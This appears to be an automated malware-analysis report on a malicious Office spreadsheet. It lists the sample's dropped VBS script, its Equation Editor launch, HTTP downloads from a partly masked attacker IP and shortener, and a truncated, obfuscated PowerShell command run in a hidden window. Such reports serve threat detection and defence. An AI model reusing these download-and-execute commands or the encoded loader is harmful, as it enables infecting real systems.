Technical Information
Malicious functions
Creates and executes the following (exploit)
- '%WINDIR%\syswow64\wscript.exe' "%APPDATA%\mangotreebeautifultreeimagepi.vBS"
Downloads and executes files.
Modifies file system
Creates the following files
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.ie5\dyps348i\config14[1].txt
- %APPDATA%\mangotreebeautifultreeimagepi.vbs
- <Current directory>\1e001000
Substitutes the following files
- <PATH_SAMPLE>.xls
Network activity
Connects to
- 'gf.to':80
- 'gf.to':443
- '17#.#34.239.22':80
- 'pa##e.ee':443
- 'ia#####5.us.archive.org':443
TCP
HTTP GET requests
- http://gf.to/qlxzSSkYu
- http://17#.#34.239.22/990099/gf/l.c.c.c.ccx.doC
- http://17#.#34.239.22/990099/mangotreebeautifultreeimagepic.gif
Other
- 'gf.to':443
- 'pa##e.ee':443
- 'ia#####5.us.archive.org':443
UDP
- DNS ASK gf.to
- DNS ASK pa##e.ee
- DNS ASK ia#####5.us.archive.org
Miscellaneous
Executes the following
- '%ProgramFiles%\microsoft office\office14\winword.exe' -Embedding
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgT...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgT...' (with hidden window)
